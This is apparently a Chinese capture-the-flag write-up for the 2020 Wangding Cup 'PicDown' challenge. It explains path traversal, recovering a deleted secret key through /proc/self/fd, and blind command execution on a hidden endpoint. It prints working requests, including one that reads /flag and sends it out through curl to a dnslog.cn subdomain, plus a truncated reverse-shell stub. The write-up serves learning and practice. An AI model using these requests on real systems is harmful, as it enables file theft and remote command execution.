[网鼎杯 2020 白虎组]PicDown
题目
进入就是一个输入框,搜集信息啥也没有。输入之后url会有 ?url=
一般这种就是路径遍历,ssrf,或者文件包含,PHP伪协议php://filter,file://,或者?file=http://127.0.0.1/admin.php等等
试一下路径遍历,发现下载了几个文件,不过仔细看大小不同。用记事本打开,知道与自己的遍历的内容有关。题目可以直接../../../../flag找到 据说是平台环境问题,正式比赛flag不在这里。

用抓包的话,不会下载文件,而是直接可以看出内容
正规解法
我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid
即proc/具体pid/目录和proc/self/目录 基本等价
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容。
这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容
读取 |
代码审计
思路
发现了open一个secret.txt,但是没有关闭,而是用os.remove,那么我们就可以通过fd目录查看他的内容。page页即url查询的东西最终会写入beautiful.jpg以文件形式返回。/no_one_know_the_manager页则是有shell可以执行,只要key == SECRET_KEY,那么就可以执行,但是这里是没有回显的。随便传命令和key进去,发现没有print(SECRET_KEY),而只有wrong key!,应该是被删除了。那我们前面有个secret.txt读一读 |
/page?url=/proc/self/fd/3 最后一位爆破出来发现是3
得到L7KoQ22Yv4kvrYqNrxWQMRcXWJ4BGFMDnTEqgA6YT8w= 应该就是key
试一下/no_one_know_the_manager?key=L7KoQ22Yv4kvrYqNrxWQMRcXWJ4BGFMDnTEqgA6YT8w=&shell=ls
回显OK则正确。(如果出错,那么url编码一下key)
接下来由于是无回显的,那么需要在服务器反弹shell
由于没有服务器,所以参考网上用buu靶机来做。结果发现buu的靶机也不行。先搁置着(坑)
不过可以选择dnslog外带数据
/no_one_know_the_manager?key=%32%4c%38%57%2f%39%51%51%4d%31%54%4b%49%70%37%66%61%73%6e%50%33%4c%41%2b%59%43%75%33%65%65%6f%47%69%70%6d%68%30%56%6f%49%46%4c%41%3d&shell=curl%20`cat%09/flag`.yae4q7.dnslog.cn |

反弹shell
Python
python -c "import |
参考
https://blog.csdn.net/Zero_Adam/article/details/114890384
https://blog.csdn.net/wuyaowangchuan/article/details/114540227
https://blog.csdn.net/Zero_Adam/article/details/114853022 (坑)
https://blog.csdn.net/weixin_39890543/article/details/112989316 (坑)
https://blog.csdn.net/pop364/article/details/106083847 (buu靶机)


